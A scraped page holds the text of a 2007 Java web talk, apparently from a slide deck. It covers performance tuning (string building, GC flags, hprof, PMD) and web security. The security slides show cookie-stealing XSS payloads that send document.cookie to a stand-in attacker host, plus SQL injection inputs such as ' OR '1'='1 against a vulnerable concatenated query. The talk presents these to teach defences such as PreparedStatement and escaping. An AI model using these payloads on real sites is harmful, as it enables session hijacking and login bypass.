3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究
 
恶意网页分析实战
恶意网页分析实战恶意网页分析实战
恶意网页分析实战
 
Javascript primer plus
Javascript primer plusJavascript primer plus
Javascript primer plus
 
从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰
从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰
从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰
 
Python 于 webgame 的应用
Python 于 webgame 的应用Python 于 webgame 的应用
Python 于 webgame 的应用
 
Shell,信号量以及java进程的退出
Shell,信号量以及java进程的退出Shell,信号量以及java进程的退出
Shell,信号量以及java进程的退出
 
Software Engineer Talk
Software Engineer TalkSoftware Engineer Talk
Software Engineer Talk
 
110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析
 
淘宝网前台应用性能优化实践
淘宝网前台应用性能优化实践淘宝网前台应用性能优化实践
淘宝网前台应用性能优化实践
 
Beyond rails server
Beyond rails serverBeyond rails server
Beyond rails server
 
OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发
 
Net 相依性注入 學習筆記 1.0
Net 相依性注入 學習筆記 1.0Net 相依性注入 學習筆記 1.0
Net 相依性注入 學習筆記 1.0
 
網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享
 
[students AI workshop] Pytorch
[students AI workshop]  Pytorch[students AI workshop]  Pytorch
[students AI workshop] Pytorch
 
Java Crash分析(2012-05-10)
Java Crash分析(2012-05-10)Java Crash分析(2012-05-10)
Java Crash分析(2012-05-10)
 
Win dbg入门
Win dbg入门Win dbg入门
Win dbg入门
 
Windbg入门
Windbg入门Windbg入门
Windbg入门
 
前端性能测试
前端性能测试前端性能测试
前端性能测试
 

Mehr von Justin Lin

Ch14 簡介 Spring Boot
Ch14 簡介 Spring BootCh14 簡介 Spring Boot
Ch14 簡介 Spring BootJustin Lin
 
Ch13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/SecurityCh13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/SecurityJustin Lin
 
Ch12 Spring 起步走
Ch12 Spring 起步走Ch12 Spring 起步走
Ch12 Spring 起步走Justin Lin
 
Ch11 簡介 JavaMail
Ch11 簡介 JavaMailCh11 簡介 JavaMail
Ch11 簡介 JavaMailJustin Lin
 
Ch10 Web 容器安全管理
Ch10 Web 容器安全管理Ch10 Web 容器安全管理
Ch10 Web 容器安全管理Justin Lin
 
Ch09 整合資料庫
Ch09 整合資料庫Ch09 整合資料庫
Ch09 整合資料庫Justin Lin
 
Ch08 自訂標籤
Ch08 自訂標籤Ch08 自訂標籤
Ch08 自訂標籤Justin Lin
 
Ch07 使用 JSTL
Ch07 使用 JSTLCh07 使用 JSTL
Ch07 使用 JSTLJustin Lin
 
Ch06 使用 JSP
Ch06 使用 JSPCh06 使用 JSP
Ch06 使用 JSPJustin Lin
 
Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器Justin Lin
 
Ch04 會話管理
Ch04 會話管理Ch04 會話管理
Ch04 會話管理Justin Lin
 
Ch03 請求與回應
Ch03 請求與回應Ch03 請求與回應
Ch03 請求與回應Justin Lin
 
Ch02 撰寫與設定 Servlet
Ch02 撰寫與設定 ServletCh02 撰寫與設定 Servlet
Ch02 撰寫與設定 ServletJustin Lin
 
CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式Justin Lin
 
14. 進階主題
14. 進階主題14. 進階主題
14. 進階主題Justin Lin
 
13.並行、平行與非同步
13.並行、平行與非同步13.並行、平行與非同步
13.並行、平行與非同步Justin Lin
 
12. 除錯、測試與效能
12. 除錯、測試與效能12. 除錯、測試與效能
12. 除錯、測試與效能Justin Lin
 
11. 常用內建模組
11. 常用內建模組11. 常用內建模組
11. 常用內建模組Justin Lin
 
10. 資料永續與交換
10. 資料永續與交換10. 資料永續與交換
10. 資料永續與交換Justin Lin
 
9. 資料結構
9. 資料結構9. 資料結構
9. 資料結構Justin Lin
 

Mehr von Justin Lin (20)

Ch14 簡介 Spring Boot
Ch14 簡介 Spring BootCh14 簡介 Spring Boot
Ch14 簡介 Spring Boot
 
Ch13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/SecurityCh13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/Security
 
Ch12 Spring 起步走
Ch12 Spring 起步走Ch12 Spring 起步走
Ch12 Spring 起步走
 
Ch11 簡介 JavaMail
Ch11 簡介 JavaMailCh11 簡介 JavaMail
Ch11 簡介 JavaMail
 
Ch10 Web 容器安全管理
Ch10 Web 容器安全管理Ch10 Web 容器安全管理
Ch10 Web 容器安全管理
 
Ch09 整合資料庫
Ch09 整合資料庫Ch09 整合資料庫
Ch09 整合資料庫
 
Ch08 自訂標籤
Ch08 自訂標籤Ch08 自訂標籤
Ch08 自訂標籤
 
Ch07 使用 JSTL
Ch07 使用 JSTLCh07 使用 JSTL
Ch07 使用 JSTL
 
Ch06 使用 JSP
Ch06 使用 JSPCh06 使用 JSP
Ch06 使用 JSP
 
Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器
 
Ch04 會話管理
Ch04 會話管理Ch04 會話管理
Ch04 會話管理
 
Ch03 請求與回應
Ch03 請求與回應Ch03 請求與回應
Ch03 請求與回應
 
Ch02 撰寫與設定 Servlet
Ch02 撰寫與設定 ServletCh02 撰寫與設定 Servlet
Ch02 撰寫與設定 Servlet
 
CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式
 
14. 進階主題
14. 進階主題14. 進階主題
14. 進階主題
 
13.並行、平行與非同步
13.並行、平行與非同步13.並行、平行與非同步
13.並行、平行與非同步
 
12. 除錯、測試與效能
12. 除錯、測試與效能12. 除錯、測試與效能
12. 除錯、測試與效能
 
11. 常用內建模組
11. 常用內建模組11. 常用內建模組
11. 常用內建模組
 
10. 資料永續與交換
10. 資料永續與交換10. 資料永續與交換
10. 資料永續與交換
 
9. 資料結構
9. 資料結構9. 資料結構
9. 資料結構
 

Java Web 程式之效能技巧與安全防護

  • 1. 2007 Java Certification Day Java Web 程式之 效能技巧與安全防護 林信良 教育訓練講師暨技術顧問 昇陽電腦 1
  • 2. Agenda 1 – Web 效能概觀 2 – 效能量測工具 3 – 程式碼分析 4 - Web 安全概觀 5 – 跨網站指令稿攻擊(Cross-site scripting) 6 – 隱碼攻擊(SQL Injection) 2
  • 3. Web 效能概觀 • 所有程式都受到三種系統限制 > CPU速度 > 記憶體 > 輸出/輸入 Footnote position, 12 pts. Sun Confidential: Internal Only 3
  • 5. 記憶體 • Java 有垃圾收集 > 可以沒有顧忌的配置物件? > 系統中有太多短命的物件? • 大型物件浪費記憶體 > 建立物件、垃圾收集 Sun Confidential: Internal Only 5
  • 6. 輸入/輸出 • 輸出輸入絕對會拖慢程式 > 磁碟存取(檔案讀寫、日誌…) > 資料庫存取(增、刪、查、找…) > 網路存取(DNS反查…) Sun Confidential: Internal Only 6
  • 7. 從1到100 • 撰寫一個程式,可在文字模式上顯示 HOW DO YOU DO Footnote position, 12 pts. Sun Confidential: Internal Only 7
  • 8. How do you do for(int i = 1; i < 100; i++) { System.out.print(i + "+"); } System.out.println(100); • 在迴圈中經常犯的兩種錯誤 > 非必要的輸出/輸入 > 非必要的建構物件 Sun Confidential: Internal Only 8
  • 9. How do you do • 改進了輸出 String output = ""; for(int i = 1; i < 100; i++) { output = output + i + "+"; } 一次 IO output += 100; System.out.println(output); Sun Confidential: Internal Only 9
  • 10. How do you do • 物件的重用(一) StringBuffer output = new StringBuffer(); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); 重用物件 Sun Confidential: Internal Only 10
  • 11. How do you do • 物件的重用(二) StringBuffer output = new StringBuffer(300); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); 預設16字元 Sun Confidential: Internal Only 11
  • 12. How do you do • 執行緒議題 StringBuilder output = new StringBuilder(300); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); JDK 5.0以上 Sun Confidential: Internal Only 12
  • 13. 效能量測工具 • 觀察GC -verbosegc • 程式執行效率 -Xrunhprof • JDK 5.0之後的工具 jconsole • Profiler > NetBeans Profiler Sun Confidential: Internal Only 13
  • 14. 觀察GC • 啟動JVM時的選項,可觀察 > 物件所佔據的時間與空間 > 回收時所釋放的空間 C:>java -verbosegc -jar "C:Program FilesJavajdk1.6.0_01demojfc NotepadNotePad.jar" Sun Confidential: Internal Only 14
  • 15. 觀察GC Sun Confidential: Internal Only 15
  • 16. 觀察GC • C:>java -verbosegc -XX:+PrintGCDetails-jar "C:Program FilesJavajdk1.6.0_01demojfcNotepadNotePad.jar" Sun Confidential: Internal Only 16
  • 18. 觀察GC • 預設的JVM假設物件是infant mortality > 在建構之後,很快就會成為垃圾 > 例如Iterator物件 • 物件一開始是分配在Eden > 多數的物件成為垃圾 > 填滿時引發minor collection > 在當中存活的物件被複製到Tenured generation • Tenured generation會使用major collection > 通常比較慢,因為包括所有的物件 Sun Confidential: Internal Only 18
  • 19. 觀察GC • GC運行時,應用程式不作任何事 > 呼叫System.gc() > Heap區太小,預設值都很小 > 頻繁的建構、釋放物件 • 最基本的是調整Heap分配 > Xms > Xmx > Xmn Sun Confidential: Internal Only 19
  • 20. 觀察GC • 預設值通常不適用大型主機 > 初始heap區通常很小,要經過多次major collection > 最大heap區通常也不適用 • 簡單的設定 > Server端JVM最好將-Xms和-Xmx設為相同值 > 最好-Xmn值约等於-Xmx的1/3 > 如果每次GC後,heap的剩餘空間是總空間的 50%,表示Heap處於健康狀態 > Server端Java程式每次GC後最好能有65%剩餘 空間 Sun Confidential: Internal Only 20
  • 21. 程式執行效率 • 定期對call stack進行取樣 > 得知目前正在stack頂端的方法 > 可計算哪個部份花費最多執行時間 • java -Xrunhprof:help > java -Xrunhprof:cpu=samples > java -Xrunhprof:cpu=times Sun Confidential: Internal Only 21
  • 22. 程式執行效率 • java -Xrunhprof:cpu=samples,depth=6 TestHprof • java.hprof.txt CPU SAMPLES BEGIN (total = 109) Thu Mar 22 13:54:45 2007 rank self accum count trace method 1 21.10% 21.10% 23 300041 java.lang.AbstractStringBuilder.expandCapacity 2 17.43% 38.53% 19 300052 java.lang.AbstractStringBuilder.expandCapacity 3 12.84% 51.38% 14 300047 java.lang.AbstractStringBuilder.expandCapacity 4 6.42% 57.80% 7 300046 java.lang.AbstractStringBuilder.append 5 5.50% 63.30% 6 300050 java.lang.String.<init> 6 5.50% 68.81% 6 300053 java.lang.String.<init> 7 3.67% 72.48% 4 300048 java.lang.AbstractStringBuilder.append 8 3.67% 76.15% 4 300045 java.lang.String.<init> Sun Confidential: Internal Only 22
  • 23. TRACE 300041: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.addToCat(TestHprof.java:15) TestHprof.makeString(TestHprof.java:10) TestHprof.main(TestHprof.java:54) TRACE 300052: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.makeStringWithLocal(TestHprof.java:28) TestHprof.main(TestHprof.java:56) TRACE 300047: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.makeStringInline(TestHprof.java:21) TestHprof.main(TestHprof.java:55) Sun Confidential: Internal Only 23
  • 24. jconsole • JDK 5.0之後 Sun Confidential: Internal Only 24
  • 25. jconsole Sun Confidential: Internal Only 25
  • 26. jconsole Sun Confidential: Internal Only 26
  • 27. Profiler • NetBeans Profiler > http://www.netbeans.org/products/profiler/ > http://www.netbeans.org/kb/55/profiler-tutorial.html Sun Confidential: Internal Only 27
  • 28. 效能分析 Sun Confidential: Internal Only 28
  • 29. 選擇分析方法 Sun Confidential: Internal Only 29
  • 30. 過濾器(Filter) Sun Confidential: Internal Only 30
  • 31. 過濾器(Filter) Sun Confidential: Internal Only 31
  • 32. 分析呼叫堆疊與取樣 Sun Confidential: Internal Only 32
  • 33. 程式碼分析 • LocalVariableCouldBeFinal > 區域變數只被設值一次時應宣告為 final • MethodArgumentCouldBeFinal > 方法的參數如果不會被設值則應宣告為 final • AvoidInstantiatingObjectsInLoops > 偵測是否在迴圈中建立新的物件實體 • UseArrayListInsteadOfVector > 建議以 ArrayList 取代 Vector Sun Confidential: Internal Only 33
  • 34. 程式碼分析 • SimplifyStartsWith > 當字串字面值的長度為 1 時,建議改以 String.charAt(0) 代 替 String.startsWith 以增進效能 • UseStringBufferForStringAppends > 建議字串結合以 StringBuffer 取代 • UseArraysAsList > 建議用Arrays.asList 由物件陣列來轉換成 List 而不是以迴 圈的方式建立 List • AvoidArrayLoops > 以 System.arrayCopy 取代迴圈的方式複製陣列 • UnnecessaryWrapperObjectCreation > 建立移除不必要的外覆物件,應直接傳遞原始物件較佳 Sun Confidential: Internal Only 34
  • 35. 程式碼分析 • http://pmd.sourceforge.net/ • PMD scans Java source code and looks for potential problems like: > Possible bugs - empty try/catch/finally/switch statements > Dead code - unused local variables, parameters and private methods > Suboptimal code - wasteful String/StringBuffer usage > Overcomplicated expressions - unnecessary if statements, for loops that could be while loops > Duplicate code - copied/pasted code means copied/pasted bugs Sun Confidential: Internal Only 35
  • 36. 程式碼分析 Sun Confidential: Internal Only 36
  • 37. 程式碼分析 Sun Confidential: Internal Only 37
  • 38. Web 安全概觀 • 研究:91%的網站都有漏洞 > Cross Site Scripting > SQL Injection > … > Improper Error Handling Sun Confidential: Internal Only 38
  • 39. 跨網站指令稿攻擊 • Cross-site scripting(XSS) • 會話劫奪(Session hijacking) • 釣魚(Phishing) • 特徵 > 使用者輸入的資料沒有過濾 > 網站直接回送使用者輸出的資料 Sun Confidential: Internal Only 39
  • 40. XSS:Session hijacking • 例如搜尋功能回送使用者輸入的查詢字串 Could not find any documents including ‘foo’ Sun Confidential: Internal Only 40
  • 41. XSS:Session hijacking Search <b>foo</b> Could not find any documents including ‘<b>foo</b>’ Could not find any documents including ‘foo’ Sun Confidential: Internal Only 41
  • 42. XSS:Session hijacking <script language=‘javascript’>alert(document.cookie)</script> Could not find any documents including ‘<script language=‘javascript’>alert(document.cookie)</script>’ Sun Confidential: Internal Only 42
  • 43. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo www.xssorz.com Sun Confidential: Internal Only 43
  • 44. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo <script language='javascript'>document.location="http://ww w.hahaorz.com/foo" +document.cookie</script> www.xssorz.com Sun Confidential: Internal Only 44
  • 45. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo %3Cscript+language%3D%27javascript%27%3Edocu ment.cookies%3C%2Fscript%3E www.xssorz.com Sun Confidential: Internal Only 45
  • 46. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query%3Cs cript+language%3D%27javascript%27%3E document.cookies%3C%2Fscript%3E www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 46
  • 47. XSS:Session hijacking 入侵 www.hahaorz.com <a href =http://www.xssorz.com/search?query%3C script+language%3D%27javascript%27%3Edocumen t.cookies%3C%2Fscript%3E >可以找到很多美女圖^o^</a> www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 47
  • 48. XSS:Session hijacking 入侵 www.hahaorz.com 可以找到很多猛男圖^o^ www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 48
  • 49. XSS:Session hijacking 入侵 www.hahaorz.com 可以找到很多猛男圖^o^ JSESSIONID=0146B416F… www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 49
  • 50. XSS:Phishing <script language='javascript'>document.location="http://www.svn.com/foo" +document.cookie</script> 留言版、討論區 http://java.sun.com/forum Sun Confidential: Internal Only 50
  • 51. XSS:Phishing <script language='javascript'>document.location="http://www.svn.com/foo" +document.cookie</script> 留言版、討論區 http://java.svn.com/forum http://java.svn.com/forum Sun Confidential: Internal Only 51
  • 52. XSS • 過濾請求資料 > <  &lt; > >  &gt; > <script> Sun Confidential: Internal Only 52
  • 53. 隱碼攻擊 • SQL Injection 名稱: 密碼: Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;” Sun Confidential: Internal Only 53
  • 54. SQL Injection 名稱: caterpillar 密碼: 123456 Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND PASSWORD=‘123456’; Sun Confidential: Internal Only 54
  • 55. SQL Injection 名稱: caterpillar 密碼: ‘ OR ‘1’=‘1 Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND PASSWORD=‘‘ OR ‘1’=‘1’; 總是為true Sun Confidential: Internal Only 55
  • 56. SQL Injection 名稱: caterpillar’;# 密碼: Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’;# AND PASSWORD=‘‘ OR ‘’; 註解符號 Sun Confidential: Internal Only 56
  • 57. SQL Injection • 使用PreparedStatement PreparedStatement stmt = conn.prepareStatement( “SELECT * FROM USER_TABLE WHERE USERNAME=? AND PASSWORD=?"); • 過濾請求資料 > 單引號 &#39; > 雙引號  &quot; Sun Confidential: Internal Only 57
  • 58. 自動檢測安全工具 • 在開發程式的過程中帶入安全觀念與工具 > 在程式撰寫階段應用安全掃描工具 > 在測試階段實行滲透(permeation)測試 > 對已上線的產品進行補強 Sun Confidential: Internal Only 58
  • 59. 自動檢測安全工具 • Watchfire Web Appscan • Acunetrix • Fortify Sun Confidential: Internal Only 59